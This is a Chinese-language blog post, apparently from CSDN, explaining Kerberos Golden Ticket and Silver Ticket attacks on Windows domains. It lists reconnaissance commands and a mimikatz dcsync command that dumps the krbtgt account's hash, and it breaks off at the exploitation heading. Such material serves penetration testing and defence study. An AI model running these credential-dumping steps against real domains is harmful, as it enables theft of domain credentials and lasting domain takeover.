黄金票据和白银票据

最新推荐文章于 2024-09-25 21:55:39 发布

置顶

郭晓雷

最新推荐文章于 2024-09-25 21:55:39 发布

阅读量2.7k

点赞数

本文链接：https://blog.csdn.net/weixin_45682070/article/details/106604280

版权

本文深入探讨了Golden Ticket和Silver Ticket两种域控攻击技术。Golden Ticket允许攻击者在获取域控管理权限后，通过清除和利用krbtgt用户的hash进行票据传递。而Silver Ticket则涉及伪造TGS，目标限定为特定服务器。同时，文章指出pass the hash方法在某些旧版Windows系统中可能无法实现票据伪造。

摘要由CSDN通过智能技术生成

Golden Ticket

当攻击者已经拿到域控的管理权限
klist 域成员主机上执行klist，即可查看缓存的票据
klist purge 清除票据
在域渗透过程如果发现域管理员的密码已经修改，可尝试利用krbtgt用户的历史hash来进行票据传递攻击，krbtgt用户的密码一般不会有人去修改
信息搜集

域名 net time /domain    ipconfig /all 
伪造管理员用户名 net group "domain admins"
krbtgt账号的哈希值  mimikatz.exe "lsadump::dcsync /domain:NoOne.com /user:krbtgt" exit
域的SID值(去掉最后的500)  wmic useraccount get name,sid
#导出krbtgt的ntlm hash
mimikatz.exe "lsadump::dcsync /domain:NoOne.com /user:krbtgt" exit

利用